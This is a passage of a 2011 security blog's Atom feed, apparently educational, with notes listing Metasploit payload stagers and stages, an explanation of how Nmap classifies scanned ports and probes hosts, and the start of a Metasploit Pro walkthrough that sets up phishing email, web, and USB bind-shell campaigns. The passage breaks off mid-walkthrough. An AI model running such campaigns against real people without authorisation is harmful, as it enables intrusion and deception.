sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stagers/windows/x64:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;bind_tcp.rb  reverse_tcp.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;-&amp;gt; Notice that all these are setting up a communications channel.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now looking for Stages:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;ls /opt/msfo/msf3/modules/payloads/stages/&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;bsd  bsdi  java  linux  netware  osx  php  windows&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Java Stages&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;ls /opt/msfo/msf3/modules/payloads/stages/java/&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;meterpreter.rb  shell.rb&lt;/div&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;OSX Stages&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;ls -R /opt/msfo/msf3/modules/payloads/stages/osx/&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;/opt/msfo/msf3/modules/payloads/stages/osx/:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;armle  ppc  x86&lt;/div&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stages/osx/armle:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;execute.rb  shell.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stages/osx/ppc:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;shell.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stages/osx/x86:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;bundleinject.rb  isight.rb  vforkshell.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Windows Stages&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;ls -R /opt/msfo/msf3/modules/payloads/stages/windows/&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stages/windows/:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;dllinject.rb    patchupdllinject.rb    shell.rb   vncinject.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;meterpreter.rb  patchupmeterpreter.rb  upexec.rb  x64&lt;/div&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stages/windows/x64:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;meterpreter.rb  shell.rb  vncinject.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;-&amp;gt; All these modules provide functionality &amp;amp; interactive environments.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-1660636286019827295?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/1660636286019827295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/12/quick-note-on-metasploit-payload-types.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1660636286019827295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1660636286019827295'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/12/quick-note-on-metasploit-payload-types.html' title='[Quick notes] Metasploit payload types'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-5318813394555846477</id><published>2011-12-24T05:59:00.000+05:30</published><updated>2012-01-30T01:12:50.237+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='UDP scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='open'/><category scheme='http://www.blogger.com/atom/ns#' term='closed'/><category scheme='http://www.blogger.com/atom/ns#' term='Quick Notes'/><category scheme='http://www.blogger.com/atom/ns#' term='filtered'/><title type='text'>[Quick Notes] Nmap TCP / UDP scanning</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;TCP Scanning:&lt;/b&gt;&lt;br /&gt;Pretty straight...&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1. TCP SYN sent&lt;br /&gt;TCP SYN / ACK received&lt;br /&gt;=&amp;gt; Target TCP Port is open&lt;br /&gt;=&amp;gt; Nmap marks this result as '&lt;span class="Apple-style-span" style="color: lime;"&gt;Open&lt;/span&gt;'&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;2. TCP SYN sent&lt;br /&gt;RST / ACK received&lt;br /&gt;=&amp;gt; Target TCP port is closed&lt;br /&gt;OR&lt;br /&gt;=&amp;gt; Firewall blocked the request / response | i.e. we cannot reach that port at all&lt;br /&gt;=&amp;gt; Nmap marks this result as '&lt;span class="Apple-style-span" style="color: red;"&gt;Closed&lt;/span&gt;'&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;3. TCP SYN sent&lt;br /&gt;ICMP Port unreachable received&lt;br /&gt;=&amp;gt; A network / host firewall is blocking access to port&lt;br /&gt;=&amp;gt; Nmap marks this result as '&lt;span class="Apple-style-span" style="color: yellow;"&gt;Filtered&lt;/span&gt;'&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;4. TCP SYN sent&lt;br /&gt;No Response received&lt;br /&gt;=&amp;gt; Nmap resends SYN packet. If still nothing is received, then either port is closed or a network / host firewall is blocking our request packet.&lt;br /&gt;=&amp;gt; Nmap marks this result as '&lt;span class="Apple-style-span" style="color: yellow;"&gt;Filtered&lt;/span&gt;'&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;b&gt;UDP scanning:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1. UDP datagram sent&lt;br /&gt;Response received&lt;br /&gt; =&amp;gt; Target UDP port is open&lt;br /&gt;=&amp;gt; Nmap marks this result as '&lt;span class="Apple-style-span" style="color: lime;"&gt;Open&lt;/span&gt;'&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;2. UDP datagram sent&lt;br /&gt;'ICMP Port Unreachable' received&lt;br /&gt;=&amp;gt; Target UDP port is closed&lt;br /&gt;OR&lt;br /&gt;=&amp;gt; Firewall blocked the outbound response&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;For this scenario, Nmap checks if response is ICMP port unreachable Type 3, Code 3. If it is, then Nmap confirms that port is '&lt;span class="Apple-style-span" style="color: red;"&gt;Closed&lt;/span&gt;'. For any other ICMP port unreachable errors - type 3, code 1, 2, 9, 10, or 13, Nmap will mark the port as '&lt;span class="Apple-style-span" style="color: yellow;"&gt;Filtered&lt;/span&gt;'.&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;3. UDP datagram sent&lt;br /&gt;No response received&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;This could be because of several reasons such as closed port, firewall blocking incoming UDP probe packet, firewall may be blocking outbound UDP response, or that the UDP port being probed could be expecting a data in order to respond back.&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Specific to this scenario, where a UDP port may be looking for data in the incoming request packet, Nmap makes use of a handful of payloads. This payload is protocol specific like DNS 53, SNMP 161, rpc 111 etc. In response to these payloads, a relevant listening UDP port will send back a response. Therefore, the reliability of UDP scan results goes up.&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;=&amp;gt; Based on the response / no response, Nmap will mark this port as '&lt;span class="Apple-style-span" style="color: lime;"&gt;Open&lt;/span&gt;|&lt;span class="Apple-style-span" style="color: red;"&gt;Filtered&lt;/span&gt;'.&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-5318813394555846477?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/5318813394555846477/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/12/nmap-tcp-udp-scanning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/5318813394555846477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/5318813394555846477'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/12/nmap-tcp-udp-scanning.html' title='[Quick Notes] Nmap TCP / UDP scanning'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-908508165661652270</id><published>2011-12-24T05:25:00.001+05:30</published><updated>2012-01-30T01:13:13.969+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='Quick Notes'/><category scheme='http://www.blogger.com/atom/ns#' term='probing'/><title type='text'>[Quick Notes] Nmap's way of probing targets</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Reading up on Nmap. Thought of sharing this quick post.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Nmap probes a target before scanning it for open ports and services.&lt;/span&gt;&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Nmap address probing works as follows:-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="font-family: 'Trebuchet MS', sans-serif;"&gt;For root / administrator users&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;-&amp;gt; If the attacker / scanning box is on the same subnet as the target, then nmap will only out ARP requests.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;However if attacker sits on a different subnet than the target, then nmap will send&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Trebuchet MS', sans-serif;"&gt;-&amp;gt; ICMP Echo Request&lt;br /&gt;-&amp;gt; TCP SYN to port 443&lt;br /&gt;-&amp;gt; TCP ACK to port 80&lt;br /&gt;-&amp;gt; ICMP Timestamp Request [Type 13]&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note that Nmap sends out ALL 4 probe packets at once; it does not wait to receive response to ICMP Echo Request.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;b style="font-family: 'Trebuchet MS', sans-serif;"&gt;For non-root / non-administrative users&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Nmap will simply start a 3-way handshake by sending&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Trebuchet MS', sans-serif;"&gt;-&amp;gt; TCP SYN to port 80&lt;br /&gt;-&amp;gt; TCP ACK to port 443&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;It does NOT send any ICMP packet.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-908508165661652270?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/908508165661652270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/12/nmaps-way-of-probing-targets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/908508165661652270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/908508165661652270'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/12/nmaps-way-of-probing-targets.html' title='[Quick Notes] Nmap&apos;s way of probing targets'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-5948001268802546278</id><published>2011-11-15T18:59:00.001+05:30</published><updated>2011-11-16T02:12:11.381+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit campaign templates'/><category scheme='http://www.blogger.com/atom/ns#' term='Client-Side Exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit pro'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit email campaign'/><title type='text'>Client-side exploitation using Metasploit Pro v4</title><content type='html'>&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This write-up shows how you can get up &amp;amp; running with client-side /&amp;nbsp;phishing&amp;nbsp;assessment using Metasploit Pro 4.0.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's start by creating a new project.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-bbAmK7jbnX8/TsIirENnKKI/AAAAAAAAAtw/V52OxWVwBxM/s1600/metasploit-client-demo-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="323" src="http://2.bp.blogspot.com/-bbAmK7jbnX8/TsIirENnKKI/AAAAAAAAAtw/V52OxWVwBxM/s640/metasploit-client-demo-1.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We are at project home screen now. This screen shows various details like hosts discovered, vulnerabilities, sessions opened, web apps, social engineering campaigns. Social Engineering campaign is what we are doing now. Once we create new campaigns in the upcoming screens, this section will be updated. Also, note that there is a Recent Events screenlet down there. It gives us a log of whatever task(s) is running / has run.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-TgdQB98PMEE/TsIismXC0-I/AAAAAAAAAt4/m_Epw7a5lOM/s1600/metasploit-client-demo-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="378" src="http://4.bp.blogspot.com/-TgdQB98PMEE/TsIismXC0-I/AAAAAAAAAt4/m_Epw7a5lOM/s640/metasploit-client-demo-2.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Go to Campaigns option in the menu and click 'New Campaign'.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-69BujrXrIiI/TsIitzj1DTI/AAAAAAAAAuA/a1cGDpquWns/s1600/metasploit-client-demo-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="248" src="http://2.bp.blogspot.com/-69BujrXrIiI/TsIitzj1DTI/AAAAAAAAAuA/a1cGDpquWns/s640/metasploit-client-demo-3.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Enter the details as shown in the next screen. There're different campaigns you can run:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Web campaign -&amp;gt; Basically this runs a web server at a port that you specify. Once someone clicks on the web server URL, metasploit pro will send out client-side payload(s) which you will configure in the next screen.&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;USB Drive campaign -&amp;gt; Create a bind shell payload exe. Put it on a USB drive, distribute it &amp;amp; wait for connect backs.&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Email campaign -&amp;gt; Here specify a SMTP server which you will use to send out phishing emails. Give your user ID, password, &amp;amp; add a Display Name. Lastly you can upload the list of email addresses from a file. You can also choose to add invidual email addresses later.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In this case, 172.72.5.1 is my local interface IP address. Once all information is entered, save the campaign.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-jqdlqeRXQvk/TsIivIotKBI/AAAAAAAAAuI/DmEismW3cWc/s1600/metasploit-client-demo-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="366" src="http://2.bp.blogspot.com/-jqdlqeRXQvk/TsIivIotKBI/AAAAAAAAAuI/DmEismW3cWc/s640/metasploit-client-demo-4.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a 